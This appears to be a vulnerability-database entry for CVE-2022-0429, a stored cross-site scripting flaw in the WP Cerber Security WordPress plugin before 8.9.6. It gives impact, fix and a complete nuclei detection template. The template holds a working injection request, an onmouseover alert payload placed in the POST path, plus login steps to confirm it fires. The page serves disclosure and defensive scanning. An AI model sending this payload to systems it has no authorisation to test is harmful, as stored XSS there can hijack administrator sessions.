WP Cerber Security, Anti-spam & Malware Scan < 8.9.6 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.3%likelihood of exploitation, next 30 days

72%of all CVEs are less likely

Readycheck to confirm it

The WP Cerber Security, Anti-spam & Malware Scan WordPress plugin before 8.9.6 does not sanitise the $url variable before using it in an attribute in the Activity tab in the plugins dashboard, leading to an unauthenticated stored Cross-Site Scripting vulnerability.

Impact

Unauthenticated attackers can inject stored XSS payloads via unsanitized URL parameters, which execute when authenticated administrators view the Activity tab, potentially stealing session cookies or performing administrative actions.

Fix

Upgrade to WP Cerber Security version 8.9.6 or later.

How to confirm it

Send: POST /"/onmouseover=alert(document.domain);//
Positive when: contains(body, "RID") and status_code == 403
Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=cerber-security&tab=activity
Positive when: contains in body_2 "<wbr>/\"<wbr>/onmouseover=alert(document.domain);<wbr>/<wbr>…" AND status 200

Run it with nuclei: nuclei -id CVE-2022-0429 -u <target>

The full check

id: CVE-2022-0429

info:
  name: WP Cerber Security, Anti-spam & Malware Scan < 8.9.6 - Cross-Site Scripting
  author: s4e-io
  severity: medium
  description: |
    The WP Cerber Security, Anti-spam & Malware Scan WordPress plugin before 8.9.6 does not sanitise the $url variable before using it in an attribute in the Activity tab in the plugins dashboard, leading to an unauthenticated stored Cross-Site Scripting vulnerability.
  impact: |
    Unauthenticated attackers can inject stored XSS payloads via unsanitized URL parameters, which execute when authenticated administrators view the Activity tab, potentially stealing session cookies or performing administrative actions.
  remediation: |
    Upgrade to WP Cerber Security version 8.9.6 or later.
  reference:
    - https://wpscan.com/vulnerability/d1b6f438-f737-4b18-89cf-161238a7421b/
    - https://www.wiz.io/vulnerability-database/cve/cve-2022-0429
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0429
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0429
    cwe-id: CWE-79
    epss-score: 0.01336
    epss-percentile: 0.71457
    cpe: cpe:2.3:a:cerber:wp_cerber_security\,_anti-spam_\&_malware_scan:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: cerber
    product: wp_cerber_security\,_anti-spam_\&_malware_scan
    framework: wordpress
  tags: cve,cve2022,wp,wp-plugin,wpscan,wordpress,xss,wp-cerber,authenticated,vkev,vuln

flow: http(1) && http(2)

http:
  - raw: # send payload (unauth), content-length is required
      - |
        POST /"/onmouseover=alert(document.domain);// HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 100

        a[b][c][d][e][f][g][h][i][j][k][l][m][n][o][p][q][r][s][t][u][v][w][x][y][z][1][2][3][4][5][6]=12345

    unsafe: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "RID")'
          - "status_code == 403"
        condition: and
        internal: true

  - raw:
      - | #check payload result (auth)
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

      - |
        GET /wp-admin/admin.php?page=cerber-security&tab=activity HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '<wbr>/"<wbr>/onmouseover=alert(document.domain);<wbr>/<wbr>/</p>'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from